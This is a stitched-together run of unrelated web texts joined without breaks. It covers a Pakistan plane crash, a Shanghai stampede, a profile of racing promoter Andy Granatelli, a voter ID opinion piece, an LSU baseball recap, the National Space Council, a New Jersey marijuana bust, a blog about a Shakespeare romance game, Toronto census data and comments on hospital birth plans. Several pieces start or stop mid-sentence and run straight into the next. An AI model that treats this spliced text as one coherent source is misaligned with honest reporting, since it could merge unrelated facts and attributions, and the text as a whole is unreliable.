Deep Space 9, November 1998. Google Scholar 19. Star Trek: The Motion Picture, dir. by Wise,
, devoted, ubersmart, and so, so talented. Tragic loss,” Mosharraf Zaidi, an Islamabad-based development professional and analyst, said in a tweet. Relatives console one another as they wait to supply DNA samples for the identification of remains of victims of the Pakistan International Airlines (PIA) plane crash at PIMS hospital in Islamabad, Pakistan December 8, 2016. REUTERS/Caren Firouz Others simply shared his band’s many hits, such as ‘Dil Dil Pakistan’, which has become an unofficial anthem, played at public gatherings since its release in 1987. Among the 46 others who perished were two infants, three foreigners - two Austrians and a Chinese man - and five crew listed on the manifest. Foreign tourists increasingly travel to Chitral, along with numerous domestic visitors, as Pakistan emerges from years of militant violence. The dead included a member of Chitral’s traditional royal family, his wife and family, besides a regional administrative official, Osama Ahmad Warraich, killed with his wife and infant daughter. At a funeral for the Warraich family, Osama’s mother was seen waving at the coffins and weeping: “Let me say goodbye to my kids one more time”. SAFETY CONCERNS The aircraft, made by French company ATR in 2007, had racked up 18,739 flight hours since joining PIA’s fleet that year. Its captain, Saleh Janjua, had logged more than 12,000 flight hours over his career, the airline said. Concern is growing over air safety as media in recent years have reported several near-misses. In the worst disaster, in 2010, all 152 people on board were killed when a plane operated by airline Air Blue crashed in heavy rain near Islamabad. Slideshow (11 Images) Two years later, all 127 aboard were killed when a plane operated by Bhoja Air crashed near the city. The father of one of the crew who died lashed out at PIA and the government, saying better management could have prevented the crash. “I have no hope,” Raja Abdul Ghaffar said after the body of his son was brought to the morgue. “I am left with nothing.”Shanghai officials sacked over New Year's Eve stampede which left 36 dead Updated Eleven senior officials in Shanghai have been blamed for the deadly New Year's Eve stampede which left 36 people dead. The Communist Party Secretary for Huangpu District, the local governor and other political figures have been sacked. Police, Shanghai municipal government and tourism officials have also been punished. An investigation team criticised the poor organisation which led to the deadly crush along Shanghai's famous riverfront on December 31. The 36 people were killed when tens of thousands of people pushed into the Bund area, not knowing that a light and fireworks show had been moved elsewhere. The investigators said the stampede followed poor preparation, even less on-the-spot organisation and a failure to respond as the stampede started. They also said the local area Communist Party Secretary, Governor and Deputy Governor consumed about $500 worth of sushi and alcohol as the crisis unfolded. Earlier this month, relatives of the stampede victims submitted a written demand for a proper account of the disaster and for compensation. Topics: local-government, disasters-and-accidents, china, asia First postedIn the world of motor sports marketing, few names are as recognizable as Andy Granatelli, the ingenious pitchman and racing promoter who funded numerous Indianapolis 500 efforts before capturing victory with Mario Andretti in the 1969 race. Also known as the driving force behind Richard Petty’s long-term STP sponsorship in the World of Nascar racing, in the process helping to create the iconic red and sky blue paint scheme recognised by fans of American auto racing around the world. Granatelli remained a colourful figure in American auto racing for over 30 years, and still regularly attended Indycar events until his passing at the age of 90 in December 2013. Born in March 1923 in Dallas, Texas, Granatelli was raised in Chicago by his widower father., and after quitting school at the age of 14 to train as a car mechanic alongside his elder brothers.. By the age of 20, he was an investor in his brothers’ service station, and soon began selling auto parts under his own name as a sideline business. Following the conclusion of World War II, Granatelli began promoting automotive races under the ‘Hurricane Racing Association’ banner, combining racing opportunities for up-and-coming drivers with crowd-pleasing stunt-work and theatrics, with one event in Illinois becoming so successful that warranted an estimated crowd of over 26,000 people. After earning his wealth and reputation through the Hurricane series, Granatelli began to turn his attention to Indycar racing, with he and his brothers making their debuts in the event fielding an 11 year old machine for rookie driver Danny Kladis, finishing in 21st place after starting the race in the 33rd and final qualifying position. In 1948, Granatelli tried his hand at making the 500 himself as a driver, but a qualifying crash proved his talents were best used in promoting races and fielding race teams rather then behind the wheel. Away from racing, Granatelli’s business acumen soon began to earn him a fearsome reputation in the corporate world, particularly in his ability to turn around failing automotive business and either return them to former glories or sell them for a significant profit. In 1961 he purchased Tuneup Masters for $300,000; and over the next decade turn the specialty service provider into a profitable and highly sought after service that was eventually sold for 53 million dollars. His biggest success however came in 1964, when he became the CEO of the faltering lubrication company Chemical Compounds, using shrewd marketing techniques and his racing pedigree to promote the company’s ‘Scientifically Treated Petroleum’ to a larger mainstream audience. Through Granatelli’s help, STP became a renowned household name, as well as one that would follow Granatelli throughout his racing exploits into the late eighties at the Brickyard. Granatelli’s rise to prominence at the Indy 500 really began in 1961, when he purchased the rights to use the dual camshaft, supercharged Novi V-8 engine at the Brickyard. Fans loved the engine’s distinctive howl, but harnessing its excessive power proved troublesome for drivers Jim Hurtubise, Art Malone and Bobby Unser. Reliability issues also impacted the Novi’s performance, and after five frustrating years with the system Granatelli abandoned the engine after the 1966 running where a crash in qualifying had excluded it from that year’s field. His next innovation at Indianapolis came in 1967, when Granatelli fielded a turbine-powered race car driven by Parnelli Jones. Jones qualified sixth on the grid, but quickly passed the rest of the field on the opening lap. With just four laps remaining in the race, and a full lap ahead of second place A.J. Foyt, Jones coasted to the inside of the track down the back straight, barely managing to limp the car home to the pits. A certain victory had been spoiled by a transmission bearing, which Granatelli later referred to as a “$6.00 part.” Granatelli would also field turbine cars for the 1968 running of the race, although rule changes had made turbine cars far less competitive. Now using a more sophisticated Lotus 56 chassis, the STP team once again appeared to be in position to win the race, but a restart on lap 191 left race leading team driver Joe Leonard with a snapped fuel shaft, a problem that also dropped Leonard’s team-mate Art Pollard from the race. With turbine power outlawed for 1969, Granatelli managed his first Indy 500 victory in a conventional (and year-old) race car driven by Mario Andretti, before Gordon Johncock would give the team boss his second triumph four years later in the tragic 1973 running of the event. Following that season, Granatelli made the decision to shut down his racing team, with STP moving on to serve as the primary sponsor for Patrick Racing seasons. During their tenure the company picked up a third triumph at the Brickyard, once again in the hands of Gordon Johncock in 1982. Despite efforts that lasted until 1991, the victory would be the final one for “Mister 500.” Though today’s Indianapolis rules and contract restrictions seldom allow for of flamboyance and innovation exhibited by Granatelli over his time at the Brickyard, his genius and his energy won’t soon be forgotten by many figures at the speedway, be it through his in-the-moment kiss to celebrate Mario Andretti’s 500 victory in 1969, the colourful uniforms used by his pit-crew or the part he played in creating one of racing’s most iconic racing paint schemes. And in the process going a long way to show that those colour figures away from the track can prove just as influential off the track as those on it. In today’s video Parnelli Jones and Bobby Unser speak about their experiences of driving for Granatelli: AdvertisementsWhich brings us to Supreme Court Justice Clarence Thomas, who alone among his colleagues has expressed interest in striking down section 5 of the Voting Rights Act. In 2009, in a case styled Northwest Austin v. Holder, Justice Thomas memorably proclaimed "victory" in the federal war against state laws designed to disenfranchise black voters. "The constitutionality of section 5 has always depended," he wrote, "on the proven existence of intentional discrimination so extensive that elimination of it through case-by-case enforcement would be impossible... 'There can be no remedy without a wrong.'" (citations omitted by me) And then Justice Thomas wrote this: The lack of sufficient evidence that the covered jurisdictions currently engage in the type of discrimination that underlay the enactment of §5 undermines any basis for retaining it. Punishment for long past sins is not a legitimate basis for imposing a forward-looking preventative measure that has already served its purpose. Admitting that a prophylactic law as broad as §5 is no longer constitutionally justified based on current evidence of discrimination is not a sign of defeat. It is an acknowledgment of victory. So if section 5 doesn't apply to "long past sins" against black voters, what about current sins against Hispanic voters? If the Voting Rights Act was originally designed to protect the rights of black Americans to vote, do we now need a new Voting Rights Act that would protect the rights of Hispanic Americans to vote? If so, why aren't federal lawmakers tripping over themselves to get on the good side of a voting bloc that is going to increase in power over the next generation? Oh, that's right. As Chait reminds us, we are not quite yet at the point at which the benefit of shilling for Hispanic votes outweighs the burden of angering white voters. It's unlikely new legislation is needed -- we can still use the old reliable 1965 statute and apply it to new circumstances like the ones presented now. But does the discriminatory effect of state ID laws have to be so bad -- "violence, terror and subterfuge" is how Justice Thomas put it -- before the federal government may step in against a state? Or is it enough to establish that there is a national effort by conservative groups to press for these types of laws? (Ironic, isn't it, in a dispute conservatives argue is states' rights, that so many of these state voter ID laws would be conceived within the Beltway.) Several commentators over the past week or so have called the current generation of voter ID laws "a solution in search of a problem." But that doesn't give enough respect to the argument that we should as a nation strive to be as accurate as possible with our voting. If voting fraud is the third oldest profession, and if it is somehow rampant in all these states that have Republican leaders at their helm, then there should be reasonable ways to combat it. No responsible lawmaker ought to be against that. But no one seems able to find good evidence that a crisis is at hand. All Texas Attorney General Abbott could muster this week was this: Since 2002, the U.S. Department of Justice has prosecuted more than 100 defendants for election fraud. During the same period, election fraud investigations by the Texas Attorney General's Office have resulted in 50 convictions. Those cases include a woman who submitted her dead mother's ballot, a paid operative who cast two elderly voters' ballots after transporting them to the polling place, a city council member who unlawfully registered ineligible foreign nationals to vote in an election that was decided by a 19-vote margin, a Starr County defendant who voted twice on Election Day, a Harris County man who used his deceased father's voter registration card to vote in an election, a worker who pled guilty after attempting to vote for two of her family members, and a Brooks County man who presented another voter's registration card and illegally cast that voter's ballot on Election Day. In 10 years, just 100 federal prosecutions and 50 state convictions -- in a colossal state with a population of more than 25 million people. You can do the math. You can be stupid and vote in America. You can be drunk and vote in America. You can be mentally insane and vote in America. You could vote in America for Snooki or Rod Blagojevich. Or, like tens of millions of your fellow citizens, you can choose not to vote at all. But if you don't have the means to get a driver's license, or if you cannot afford the time and money it takes to get certain other forms of government ID, you are out of luck? What a great country this is.James Moran was named Editor of Tiger Rag in August 2018. He previously served as the associate editor since 2014. He covers LSU football and baseball and is a graduate of the LSU Manship School of Journalism. By JAMES MORAN \| Tiger Rag Associate Editor LAKE CHARLES, La. — The road hasn’t been a friendly place to LSU in midweek games so far this season. McNeese State scored the go-ahead run on a perfectly-executed squeeze play in the seventh inning and Mitchell Rogers homered twice as the Cowboys held off LSU 5-4 in front of a record crowd of 2,821 at a rowdy Joe Miller Ballpark on Wednesday night. The Tigers had plenty of chances to come back — none bigger than the ninth inning — but it failed to capitalize on most of its opportunities. LSU has now lost midweek road games to UNO and McNeese State to begin the season. “We just didn’t do enough,” LSU coach Paul Mainieri said. “When you’re on the road against a good team, there’s a lot of things you have to overcome, and it’s hard to score in the low runs and expect your pitching and defense to be good enough to win those tough games on the road. We’re right there … Right now we’re a hit or two short. A pitch or two short. A play or two short on a couple of games.” Trailing 5-3, Josh Smith’s fourth hit of the evening gave the Tigers life in the ninth, and Jake Slaughter’s opposite-field double put the tying run in scoring position. Chris Reid, who entered the game as a pinch hitter and walked in the eighth, came through with a clutch RBI single to left field that brought the tying run within 90 feet of the plate. However, pinch hitter Jordan Romero struck out on a 3-2 breaking ball and Lake Charles native Beau Jordan bounced out to shortstop to end the game. LSU left 14 runners on base Wednesday. “It sucks to lose,” Jordan said. “We weren’t getting timely hitting. It wasn’t consecutive hits. We got plenty of hits today, it’s just we weren’t capitalizing on runners in scoring position, like right there in the end.” The game has a high-scoring, back-and-fourth feel before the bullpens took over. LSU freshman Zack Hess struggled mightily in his first ever road outing. He lasted just 2.2 innings, the shortest start of his young career, yielding three earned runs on four hits and issuing four walks. He didn’t factor in the decision. McNeese jump ahead in the bottom on the first inning. Batting with a man on first and two out, McNeese cleanup man Matt Gallier drilled a 3-2 offering from Hess off the wall in dead center field for a run-scoring double. LSU briefly pulled even in the second inning as Jordan came through with a two-out RBI single up the middle. Jordan reached base safely in each of his first three plate appearances. However, the Cowboys quickly retook the lead as Rogers belted his first solo home run to left off Hess to lead off the home second inning. That lead wouldn’t last long, either. Smith singled to center to bring home Kramer Robertson, who singled to break a 0-for-10 mini skid. Smith also singled to lead off the second and scored LSU’s first run of the night. McNeese chased Hess in the bottom of the third inning. Nate Fisbeck lined a two-out RBI single into center field to put the Cowboys back on top and send Mainieri to the bullpen. “We walked six batters in the first four innings,” Mainieri said. “I told him I didn’t take him out because the guy got a base hit off of him. It wasn’t a bad pitch … I took him out because he walked the first two batters of the inning. You can’t do that … He’ll get better, he’s just got a way to go.” Austin Bain came on and got a strikeout to prevent further damage. He logged LSU’s first scoreless inning of the evening in the fourth thanks to some defensive help behind him. With two on and two out, Robertson ranged up the middle and flipped Cole Freeman for the force out. The scariest moment of the night for LSU came in the fifth when Smith got hit by a pitch in the hand and immediately doubled over in pain. Mainieri and LSU trainer Cory Couture came out to check on the freshman, who not only stayed in the game, but got two more hits afterward. “Right when it happened I was kind of nervous,” Smith said. “I thought something bad might’ve happened. But I got pretty lucky and it just kind of hit my knuckle a little bit. It swelled up, but other than that it’s all good.” The Tigers capitalized on a pair of fielding misplays to tie the game in the seventh. A Smith single loaded the bases, and a Slaughter chopped to third brought home the tying run. LSU will be back at home Friday to begin a three-game series against Wichita State at Alex Box Stadium. Southeastern Conference play begins a week from Friday. (Visited 313 times, 1 visits today)Later today, the White House is expected to announce that President Trump has signed an executive order to reinstate the National Space Council. This should finally kick off the much-anticipated formulation of a space policy from the Trump administration, which will encompass military, civil, and commercial interests. The new council, led by Vice President Mike Pence, has the potential to do a great deal of good—or it could further muddy the waters of what already is kind of a mess. Space policy experts are hoping for the former. "I think bringing back the National Space Council could be an improvement, but it's not guaranteed," Brian Weeden, a technical adviser to the Secure World Foundation, told Ars. "Much depends on what the Council will focus on and how it interacts with the other inter-agency processes," he said. Weeden's organization promotes sustainable and peaceful uses of outer space. Pence The key member of the council will be its chairman, Pence, who has shown a burgeoning interest in space matters. In early June, the vice president visited Johnson Space Center in Houston to address NASA's newest class of astronaut candidates. And last week, Pence visited two key space command facilities in Colorado, Schriever Air Force Base, and Cheyenne Mountain Air Force Station. Two sources have also told Ars that he will visit NASA's Kennedy Space Center in Florida next week. President Kennedy established the tradition of a National Space Council, and he gave it significance by installing Vice President Lyndon Johnson as its chair. During that time, the council considered mostly civil space matters, leaving military matters and cross-cutting issues to the National Security Council. After Kennedy, the council's influence waned, before it was resurrected by the Reagan and Bush administrations in the 1980s. Later under Dan Quayle's leadership, it failed to implement Bush's Space Exploration Initiative to send humans back to the Moon and on to Mars. The Clinton administration discarded it. But from the outset of the Trump administration, Pence has signaled that the space council would return and have a significant voice in the direction of America's activities in space. And indeed, it is an important time for clarity in national space policy matters. "There are several high-level, cross-cutting space policy issues that need attention, and if the National Space Council were to focus on addressing those, I think it could do a lot of good," Weeden said. "These are issues like modernizing the oversight and licensing regime for commercial space, launch policy, export controls, space traffic management, space debris mitigation and remediation, spectrum management, and how government can better leverage commercial capabilities." The space council would also likely play a role in coordinating national goals in space, from the military's desire to assert itself in low Earth and higher orbits to establishing a civil policy that keeps NASA at the forefront of exploration to bringing along international partners. It seems plausible that, to meet these aims, the council will refocus NASA more on activities near and on the Moon in the next decade or two rather than pushing aggressively for Mars. However, Weeden warned, the council needs to be part of a coalition around these goals, rather than dictating them to the aerospace community at large. Such an arrangement undermined the space council under Quayle, who sought to make big changes to NASA policy as the space agency resisted. "I think if the Space Council focuses its efforts on human spaceflight and telling NASA where to send humans, I think that will not be very productive," Weeden said. "That is a very high-profile issue, and it will thus attract a lot of media and public attention. It's also very politically charged." Commercial space One of the big changes over the last decade is the rise of commercial space companies. That most notably includes SpaceX and Blue Origin, but today there are dozens of other players in the fields of launch, remote sensing, and in-space operations. These companies have, in some cases, offered the government services at a significantly lower cost than traditional aerospace contractors. To some degree, both NASA and the military have shown interest in these commercial opportunities. For example, NASA has turned to private providers, with fixed-price contracts, to deliver supplies and eventually astronauts to the International Space Station. It has also opened the station to businesses that want to experiment with microgravity for commercial gain. The military, too, has begun launching national security payloads on private rockets, and it has praised the reusable launch technology being pioneered by SpaceX and Blue Origin. But there are tensions, as well. So far NASA has been reluctant to embrace reusable rockets, preferring to press ahead with its large, costly, and expendable Space Launch System. The agency spends more than $2 billion annually on development costs for the rocket, without a clear sense of how it will ultimately be used. At the same time, SpaceX, Blue Origin, and United Launch Alliance are all developing lower-cost, at least partially reusable rockets that could support almost all of the country's needs were NASA to focus its activities on and around the Moon. "I'm not inherently negative on a space council," said Phil Larson, an assistant dean at University of Colorado Boulder’s College of Engineering and Applied Science and an Obama White House space policy official. "The council's usefulness largely depends on the policy it implements. If they develop a national space policy that grows opportunities in the commercial sector and extends more agile, entrepreneurial, and innovative space capabilities to the national security realm, taxpayers will benefit and our country could be safer as a result. This council could further their goal of running government more like a business."The scent of marijuana was so strong Monroe Township police officer Thomas Lucasiewicz said he could smell it through the vents of his patrol car during a midnight shift last month. When he looked around and couldn’t find anyone smoking on patios or in parked cars, the officer concluded it was coming from the chimney of a home on Spotswood-Englishtown Road. Lucasiewicz said he and other officers who knocked on the door of that house were shocked with what they found: rows and rows of marijuana plants in the basement and bedroom of the one-story home. Wires crisscrossed the house, connecting 64 high-powered lights used to nourish the plants. It was a veritable pot factory. “I just thought it was a dream,” Lucasiewicz said today. The aroma of pot was from unusable plants being burned in the fireplace by Thu Nguyen, the Canadian citizen who answered the door and was later arrested, officials said. The 23-year-old cop with less than three years on the job had smelled his way into the biggest marijuana production bust in New Jersey history. Authorities today said that within two days, police made seizures at five more rented homes in four other towns, arresting two more people. They discovered 3,370 growing plants, 115 pounds of harvested marijuana worth $400,000 as well as $65,000 cash. The State Police-led probe smashed a sophisticated $10 million Vietnamese criminal syndicate, a type of operation most often seen north of the border in Canada, authorities said. It had operated undetected for two years. View full size “While law enforcement in New Jersey has encountered high-tech indoor marijuana growing operations in the past, we have not seen any to match the nature of the seizures that have been involved in this outstanding investigation,” Attorney General Paula Dow said at press conference in Monroe Township. “This was big business they were conducting right here in our neighborhood.” Five homes — in Monroe, Millstone, Old Bridge, Manalapan and Manahawkin — were used to grow marijuana. Police found cash and packaging materials at a home in Old Bridge, and they said a home in Barnegat was previously used to grow pot. Dow said that before 9/11, criminal networks of Vietnamese nationals would grow their weed in Canada and sell it in the United States. With stricter border controls they are increasingly basing their operations in this country, she said. Asian criminal groups have played an increasing role in indoor marijuana growing, according to the National Drug Intelligence Center, but Rutgers University professor Ko-lin Chin, who studies Asian organized crime, said it’s rare to find such Vietnamese criminal operations on the east coast. All six suspects named are of Vietnamese descent. The three who were arrested — Nguyen, 44, a Canadian citizen; Tuan A. Dang, 35, of Port Monmouth; and Ngoc H. Bui, 35, of Old Bridge — were charged with maintaining a marijuana cultivation facility and drug possession with intent to distribute, crimes that each carry up to 20 year sentences. They were also charged with theft of services for bypassing electrical meters at four homes to steal thousands of dollars of electricity, and concealing the high amount of energy used to power growing lamps. Police believe suspects Minh Bui and Quynh Bui fled to Thailand, and Nhung Thach is on the run. “These criminal groups will buy or rent a house on a middle class, quiet street,” said Rusty Payne, a spokesman for the Drug Enforcement Agency in Washington. “They’ll draw their blinds so no one knows what’s going on inside.” That’s what happened in New Jersey, authorities said. The homes were often located in areas with low-density housing, making detection less likely. Neighbors said they had no idea what was going on. The two-story lavender house in Manahawkin where police said they found 464 plants is a quarter mile from the road in a heavily wooded area. Next-door neighbor Edna Collins said she never suspected anything until a dozen police SUVs pulled up. “How would you know?” she said. “You would never see anything.” Neighbors near the Monroe Township house discovered by Lucasiewicz were also surprised. Jen Moody said she didn’t think anybody lived in the house but her husband was suspicious when he saw cars come and go in the middle of the night. Steven Schiffman, who lives four doors from the Millstone home where police said they found 504 plants and 50 pounds of marijuana, said he never saw anybody who rented the property. “The only reason I knew anyone lived there was because the lawn was mowed and when we had the snow storm the driveway was cleared,” he said. Tom Haydon, Maryann Spoto, Sean Sposito and Local News Service reporter Tiffani N. Garlic contributed to this report. Three people arrested in 10 million dollar marijuana bust in New Jersey Three people arrested in 10 million dollar marijuana bust in New Jersey • N.J. $10M marijuana bust in five suburban communities surprises neighbors • N.J. businesses, developers strategize for Newark's economic growth • Police bust $10M six-house indoor N.J. marijuana-production schemeRPGRabbit Learns to Code in Order to Make the Nerdiest Game in Existence Guys, it’s finally happening! I’m making my own video game. And hot damn, am I ever excited about it! A few weeks ago, I purchased my very first Japanese otome game, the 3DS port of Hakuoki: Memories of the Shinsengumi. Otome games are basically all of the delicious story bits of an RPG with none of the pesky game bits surrounding them, like a thick, juicy story steak instead of small chunks of story-meat suspended in a broth of battles and game mechanics. Both are a tasty way to ingest your stories, they’re just different. Man, that was a fucking weird metaphor, but I think you get the idea. All of this is to say that I have really enjoyed my time with Hakuoki so far. The protagonist of the game – well, let’s be honest, it’s more of a digital choose-your-own adventure historical romance novel than a game – is a young Japanese woman who comes to Kyoto looking for her missing father at the very tail end of the Bakumatsu period. She is attacked on her first day there by a group of roving ronin, but saved by several captains of the elite shinsengumi police force. She ends up discovering too many of their secrets for the shinsengumi to just let her go traipsing off unsupervised, so she starts living with them at their barracks, disguised as a boy. Decisions you make through the course of the game determine which (if any!) of the shinsengumi’s several eligible bachelors falls for you. You may have noticed that understanding some of the details of that plot summary required a little bit of background reading on Wikipedia. That’s because for a schmaltzy romance game comprised largely of staring at three-dimensional anime portraits of super-bishonen samurai men, there is a surprising amount of surprisingly accurate history underpinning this game. I imagine that if I were a Japanese woman who had studied these things in school, I would find this a very engaging way to interact with my history. I made me wish that I could play a game like this featuring history that I was familiar with. Like a game set during the American Revolutionary War. Or the Great Depression. Or the Norman conquest. Or Shakespeare. Yeah, can I get a historical game about William Motherfucking Shakespeare? I don’t know about you, but I would play the shit out of that game. But come on, man, who’s going to make that game? Oh, wait. What if…I made that game? I figured that would be waaaay too hard, since I’ve never programed a single thing in my entire life, but I googled “how to make a romance game,” and I was wrong. It is, in fact, delightfully easy to make a romance game. Just pick one of several free engines from a handy list, follow a simple tutorial, look up some extra commands, and then you can throw together a nice little prototype of the first five minutes of your game with some random pictures you found on Google Image Search just to prove to yourself that you can. The year is 1592, and Alexandra Cooke is forced to make her way to the city of London upon the death of her father. Her only living relative, her cousin John Heminges, is a player in the Lord Strange’s Men. Disguised as a boy for safety during travel, her cousin and his friends mistake her for one, and offer her a role in young Will Shakespeare’s latest play. Alexandra must play her part both onstage and off, for women are not permitted on the early modern stage, but that gets harder and harder to do when living with six of the wittiest and most desirable men in all of London! …That’s what I’ll put on the box when I’m done with it, anyway. I don’t think I’ve mentioned it in this blog before, but I actually have a master’s degree in Shakespeare. I am having so much fun creating nerdy Shakespeare in-jokes and shoving as much factual history as possible into this game. The working title, Woman Wrapped In a Player’s Hide, for instance, references both Robert Greene’s famous snarky comment about Shakespeare in his pamphlet Greenes Groatsworth of Wit (‘tiger’s heart wrapt in a player’s hide’), and the original quote from 3 Henry VI (‘tiger’s heart wrapt in a woman’s hide’), and I swear to god the joke is really clever if you have spent the frankly unhealthy amount of time studying Shakespeare that is required to get the joke. There was no Alexandra Cooke, but there was an Alexander Cooke, who started in Shakespeare’s playing company as a boy player acting women’s roles and later rose to become a full shareholder in the company. The game begins in February of 1592, right at the tail end of the period that scholars term Shakespeare’s “lost years,” a period that stretches between 1578 and 1592, during which there are relatively few documented facts about Shakespeare’s life. We know he married Anne Hathaway in 1582, that he had children baptized in 1583 and 1585, and that he was in London writing plays by 1592, because the Lord Strange’s Men were performing them and Robert Greene was talking about them. It’s possible that Shakespeare was a part of the Lord Strange’s Men himself at this time, because we know that he didn’t join the Lord Chamberlain’s Men until 1594, because that was the year they were formed by several previous members of Strange’s Men. So while I don’t know that anything in this game did happen, much of the stuff in this game could have happened, and that’s exactly how I like my historical fiction: improbable, but plausible. The other thing my nerdy little heart is the most excited about is the fact that February 1592 is also when Philip Henslowe started keeping records of the performances of the Lord Strange’s Men in his diary, so I can use the actual plays that the company actually performed in the story of the game. How cool is that? Not only does this information make the game more awesome, it also will give people the ability to interact with some of the information contained in Henslowe’s diary in a way that isn’t deathly boring. I mean, I’m a Shakespeare scholar, and I think reading Henslowe’s diary is deathly boring. Because it is! It’s less like reading a diary and more like reading someone’s Excel spreadsheets. No one wants to read Henslowe’s diary, not even the people that want to use the priceless information contained within Henslowe’s diary. But lots of people might want to play a romance game! I think this is exactly the kind of valuable education service that gaming can provide. Video games can make an immersive, interactive experience out of history, but all too often, the way players are forced to interact with that history is to shoot it in the face. I love games like Hakuoki, because they involve me as a player without forcing me to involve myself in simulated violence. Don’t get me wrong, I love shooting the faces of things sometimes, but there are some stories you simply cannot tell through violence, and I think I’d like to see more stories like that in my games. Sure, keep making Call of Duty and Battlefield: 1942, but let’s also have more games like Papers, Please and Gone Home. And more games about Shakespeare! And if I’m the one who has to make those games about Shakespeare? I’m okay with that. AdvertisementsThe country’s three most dominantly Chinese census areas are all located in Toronto, according to new data from Statistics Canada — a trio of neighbouring “tracts” in Scarborough where 87 per cent of residents circled “Chinese” on their long-form questionnaires. But this statistic obscures a demographic shift that has been quietly unfolding since the last census, in 2006, when the area was already 80 per cent Chinese. Despite the neighbourhood’s apparent homogeneity, its makeup has changed dramatically as newcomer groups have moved in and older ones have moved on — a phenomenon playing out in many communities across Canada, where the immigrant population has reached its highest level in nearly a century. May Lee is among the “old-timers” in the area — she and her husband have lived in Canada for 31 years. ( Andrew Francis Wallace / Toronto Star ) Only in this particular patch of Canada, the dominant group has remained the same if you’re judging by the census’ demographic categories: “Chinese.” Read more: A majority of Torontonians now identify themselves as visible minorities Article Continued Below Income gap persists for recent immigrants, visible minorities and Indigenous Canadians Where in the city do people struggle most to pay for their homes? The difference is that many newcomers are now blue-collar immigrants from mainland China, whereas the area’s “old-timers” tend to be middle- or upper-class families with roots in Hong Kong. This has introduced occasional culture clashes that could be exacerbated by language barriers: mainland Chinese immigrants tend to speak Mandarin, whereas the language of Hong Kong is Cantonese. “I do hear some friction, but I try to mitigate the issues,” said Councillor Chin Lee, whose Ward 41 touches on the area. “In Canada, we all try to live together as Canadians.” On Wednesday, Statistics Canada released its latest tranche of census data, revealing that Toronto has finally tipped over into “minority majority” status, with more than half of residents now identifying as a visible minority. After South Asians, Chinese people make up Toronto’s largest non-white group, comprising 11.13 per cent of the city’s population. Many have concentrated in places like Agincourt, sometimes referred to by locals as “Asiancourt.” But
plan for the greatest moment in a woman's life ridiculous? And maybe the no exam no fetal monitoring weirdos couldn't stay home for some reason? Maybe they couldn't find a midwife or don't have adequate home support? Just because they don't want intervention doesn't mean they don't want needed and justifiable medical intervention available? (All the more reason to normalize homebirth/unassisted.childbirth since folks don't want to treat laboring moms humanely) I can not believe that this huge thread demeaning patients exists. While I may not agree with every decision a client of mine makes, it is NOT my place to judge her, it is my job to support her and do my best to help her meet her goals. Just something to think about... maybe if birth plans were respected and the patients feelings were validated "those women" wouldnt end up with ao many complications. while my plan wasnt in writing, i made my wishes known, and then overheard my nurse badmouthing me in the hall. all over a heplock. fortunately they switched her with someone more supportive and i went on to have a beautiful natural birth. but it truly is a shame that we have to fight for it with someone that views us as cattle. What is unusual is to hinder a completely normal physiological process by making a woman lie on her back hooked to wires and monitors, doing uneccessary exams and other interventions, stripping her of her voice, not allowing her to eat, drink, or move as she pleases, then separating mom and baby immediately after birth, which can cause all sorts of issues. THAT is what is unusual. MANY things mentioned here as "ridiculous" is actually how NORMAL birth should be. I had a birth plan with my second. I did not curse myself to c-section by having a birth plan. I had a wonderful med-free, intervention free VBAC. But I also had supportive nurses. Connection? I think so! This is what's wrong with a big part of the medical community. So sad to see women put down because they try to have a voice. Thank god I never had to deal with nurses like some of you when I had my first, I would've left the hospital! I would have hated to have nurses like some of the women posting on here. I'm thankful for doctors and nurses who respected my wishes and let me labor in a quiet room, dim lights, music playing, let me walk around and bounce on my birth ball, and only checked me when I asked them to. When they checked our vitals, we were stress free and perfect. Everything went exactly how I wanted to and that's hugely related to having a great support team. I even had the nurses and on call doctor talking about how awesome I did my entire stay there...the on call doctor even called my doctor and told her all about it! It CAN be done and it's beautiful. Nurses need to learn more about it. I had some tell me I wasn't "allowed" to move around before I went in...they truly have no clue!!!! if there are things in the plan that are truly unsafe (not just things you are uncomfortable with) then that should be discussed in a patient and understanding way with the parents, they deserve to know why you cannot follow heir wishes, and they deserve to be respected throughout the process. no matter how "ridiculous" you think they are being. they are still people, and they are supposed to be experiencing something beautiful, just like all the "normal" people that let you do whatever you want. I will share what my "ridiculous" birth plan entailed, and was subsequently ridiculed by my doctor. I wanted the unreasonable ability to walk during labor (gasp!), not be offered pain relief unless I asked about it (so stupid!), and that hospital-policy-breaking intermittent fetal monitoring (life threatening!). I also wanted to be able to have water instead of ice chips (completely insane!), delay cord clamping (ridiculous!) and wanted to breastfeed my baby immediately after the birth before anything else was done to her (complete idiocy!). All was stated in a "in the event of labor progressing normally" viewpoint. But alas, my ridiculousness was laughed at and I took my business elsewhere. I got on board with those trendy Amish... Had all 4 of my babies at home (shocking!!). As a worker in the birth field, this is excellent information to put in the hands of those I come in contact with. Your willingness to ridicule a woman/couple for having the audacity to want a voice in the most important event in their lives is discouraging to say the least. I hope that every medical "professional" who responds with their story gets fired. Because you have just COMPLETELY missed the point of your job. You are a boil on the face of humanity. WOW. I had a birth plan (actually called it "birth preferences") with both my previous delivers. First ended in c-section due to Dr giving me too much pit. No fetal distress, just worried he had overdone it. Second was a beautiful VBAC in a different, supportive hospital, with an an amazing nurse who respected my wishes and sat with me for 4 hours while I pushed my asynclitic baby out! I'm due any day with my third, will be delivering at the same hospital and have a simple, 1 page, bullet style, birth preferences sheet typed up. This hospital ENCOURAGES women to have a preference sheet. Yes, some women come in completely uneducated about birth, but don't punish those of us who come in informed and prepared. This posted question and answers are appalling. You are professional and if this how you treat people, get out. Putting an IV in someone without consent, coerced vag exams, procedures etc. Its called medical rape. In the ER, I would lose my job and license if I did any of these things to a competent person. You will be sued. You deserve to be punished. It is just a matter of time. TAKE DOWN THIS THREAD. The magazine eventually commented in the same thread that it would like to re-phrase the question from “ridiculous” to “unusual,” but that hasn’t silenced its critics. While it might be easy to just chalk this up to a social media misstep, unfortunately, I think that it’s part of a more systemic problem that leads medical staff to view pregnant and laboring women as opponents and vice versa. While obviously a hospital isn’t going to provide a pool of dolphins in which to birth, what’s so wrong about a laboring mom wanting to have to ask for pain relief instead of having it pushed on her or requesting intermittent fetal monitoring (like I did—and was denied because of “hospital policy” which as it turns out was a bald-faced lie by my less-than-awesome nurse) instead of continuous monitoring, to allow her to walk around to help labor progress instead of getting strapped into a bed on her back? There’s no question that birth plans need to be viewed by expectant parents as what they hope or wish for—not a guarantee of what’s to come, as there may be reasons why certain requests can’t be honored—but to ridicule and ignore those women for wanting the best possible birth experience is downright callous, unprofessional and in some cases even dangerous. Did you have a birth plan for a hospital birth? What did it request—and was any or all 